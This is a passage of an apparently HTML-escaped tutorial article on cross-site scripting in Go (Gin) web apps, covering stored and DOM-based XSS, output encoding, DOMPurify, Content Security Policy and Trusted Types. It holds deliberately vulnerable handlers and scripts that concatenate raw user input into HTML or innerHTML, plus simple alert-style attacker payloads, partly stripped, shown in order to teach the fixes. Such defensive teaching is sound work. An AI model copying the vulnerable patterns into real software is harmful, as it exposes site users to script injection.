    &lt;span class="n"&gt;q&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"q"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c"&gt;// templates/search.tmpl: &amp;lt;h1&amp;gt;Search results for: {{ .Q }}&amp;lt;/h1&amp;gt;&lt;/span&gt;
    &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;HTML&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"search.tmpl"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;gin&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;H&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;"Q"&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Go’s html/template automatically escapes &amp;amp;, &amp;lt;, &amp;gt;, ', " and is context‑aware.&lt;/p&gt;




&lt;h3&gt;
  
  
  Stored XSS — The Silent Killer
&lt;/h3&gt;

&lt;p&gt;How it happens:&lt;br&gt;
Malicious input is saved in the database and later displayed to other users. Think comment sections, user profiles, or forum posts.&lt;/p&gt;

&lt;p&gt;Vulnerable Go (Gin + MongoDB) code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;POST&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/comment"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;func&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;gin&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="n"&gt;cmt&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;Username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Text&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;BindJSON&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;cmt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Collection&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"comments"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;InsertOne&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cmt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c"&gt;// stored raw&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;

&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GET&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/comments"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;func&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;gin&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="n"&gt;comments&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;Username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Text&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Collection&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"comments"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bson&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="p"&gt;{})&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;All&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;comments&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;html&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="s"&gt;"&amp;lt;ul&amp;gt;"&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cmt&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="k"&gt;range&lt;/span&gt; &lt;span class="n"&gt;comments&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c"&gt;// 🚨 dangerous concatenation&lt;/span&gt;
        &lt;span class="n"&gt;html&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="s"&gt;"&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;cmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Username&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;"&amp;lt;/b&amp;gt;: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;cmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Text&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;"&amp;lt;/li&amp;gt;"&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;html&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="s"&gt;"&amp;lt;/ul&amp;gt;"&lt;/span&gt;
    &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Data&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"text/html"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Attacker posts:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;{ "username": "hacker", "text": "alert(&amp;amp;#39;XSS&amp;amp;#39;)" }&lt;br&gt;
Every visitor to /comments gets the payload executed.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Fix — Encode on output using Go templates:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="c"&gt;// comments.tmpl:&lt;/span&gt;
&lt;span class="c"&gt;// &amp;lt;ul&amp;gt;{{range .}}&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;{{.Username}}&amp;lt;/b&amp;gt;: {{.Text}}&amp;lt;/li&amp;gt;{{end}}&amp;lt;/ul&amp;gt;&lt;/span&gt;

&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GET&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/comments-safe"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;func&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;gin&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="n"&gt;comments&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="n"&gt;Comment&lt;/span&gt;
    &lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Collection&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"comments"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bson&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="p"&gt;{})&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;All&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;comments&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;HTML&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"comments.tmpl"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;gin&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;H&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;"Comments"&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;comments&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Key lesson: Stored XSS proves that “sanitizing input on the backend” is a myth. You must encode on output, based on the context (HTML, attribute, JavaScript, etc.).&lt;/p&gt;




&lt;h3&gt;
  
  
  DOM‑Based XSS — The Frontend Betrayal
&lt;/h3&gt;

&lt;p&gt;How it happens:&lt;br&gt;
The vulnerability exists entirely in client‑side JavaScript. The server may be completely innocent — it sends safe HTML, but the frontend code unsafely manipulates the DOM using attacker‑controlled data (like location.hash or URL parameters).&lt;/p&gt;

&lt;p&gt;Vulnerable Go/Gin serving an HTML file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;
&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Static&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/static"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"./static"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GET&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/profile"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;func&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;gin&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;HTML&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"profile.tmpl"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And inside profile.tmpl (no backend sanitisation can help here):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;
&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;URLSearchParams&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;search&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="c1"&gt;// 🚨 dangerous innerHTML&lt;/span&gt;
    &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;welcome&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Hello, &lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Attacker payload:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;/profile?name=&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Fix — Use safe DOM APIs (still inside Go template):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;
&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;URLSearchParams&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;search&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="c1"&gt;// ✅ use textContent&lt;/span&gt;
    &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;welcome&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;textContent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Hello, &lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or sanitise with DOMPurify (add the library in your static files):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"/static/purify.min.js"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;URLSearchParams&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;search&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;clean&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;DOMPurify&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sanitize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="na"&gt;ALLOWED_TAGS&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[]});&lt;/span&gt;
    &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;welcome&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;clean&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;DOM‑based XSS is why scanning your frontend code for innerHTML, document.write, or eval() is critical. No amount of server‑side filtering can stop it.&lt;/p&gt;




&lt;h3&gt;
  
  
  Why “Backend Sanitization” Fails
&lt;/h3&gt;

&lt;p&gt;My friend in the story used Go, strict validation, and a WAF. But DOM‑based XSS bypassed all of it.&lt;/p&gt;

&lt;p&gt;The only reliable prevention:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Context‑aware output encoding on the rendering layer (HTML, JS, URL, CSS), plus a Content Security Policy (CSP) as a second line of defence.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h3&gt;
  
  
  Content Security Policy (CSP) + Trusted Types — Your Safety Net
&lt;/h3&gt;

&lt;p&gt;Even if an XSS bug exists, CSP can block the malicious script from executing. And Trusted Types makes it impossible to write unsafe DOM injection code in the first place — a type‑safe approach to XSS prevention.&lt;/p&gt;

&lt;p&gt;Set CSP Header in Gin Middleware&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;CSP&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="n"&gt;gin&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;HandlerFunc&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;func&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;gin&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Content-Security-Policy"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
            &lt;span class="s"&gt;"default-src 'self'; "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
            &lt;span class="s"&gt;"script-src 'nonce-abc123' 'strict-dynamic'; "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
            &lt;span class="s"&gt;"require-trusted-types-for 'script'; "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
            &lt;span class="s"&gt;"trusted-types myPolicy"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Next&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CSP&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What this CSP does:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;    default-src 'self' – only allow resources from the same origin.&lt;/li&gt;
&lt;li&gt;    script-src 'nonce-abc123' 'strict-dynamic' – only execute scripts with a matching nonce (prevents inline script injection).&lt;/li&gt;
&lt;li&gt;    require-trusted-types-for 'script' – enforces Trusted Types: the browser will reject any string passed to an injection sink (innerHTML, outerHTML, document.write, etc.).&lt;/li&gt;
&lt;li&gt;    trusted-types myPolicy – allows only policies named myPolicy to create trusted HTML.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Trusted Types — Type‑Safe DOM Injection
&lt;/h3&gt;

&lt;p&gt;With Trusted Types enabled, this code throws an error:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// 🚨 Browser blocks this (TypeError)&lt;/span&gt;
&lt;span class="nx"&gt;element&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;userInput&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Instead, you must create a trusted type using a policy:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Create a policy (once, usually in your main.js)&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;policy&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;trustedTypes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createPolicy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;myPolicy&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;createHTML&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// Sanitize or safely encode here&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;DOMPurify&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sanitize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="c1"&gt;// ✅ Safe: browser accepts because it's a TrustedHTML object&lt;/span&gt;
&lt;span class="nx"&gt;element&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;policy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createHTML&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;userInput&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Why Trusted Types wins:
&lt;/h3&gt;

&lt;ul&gt;
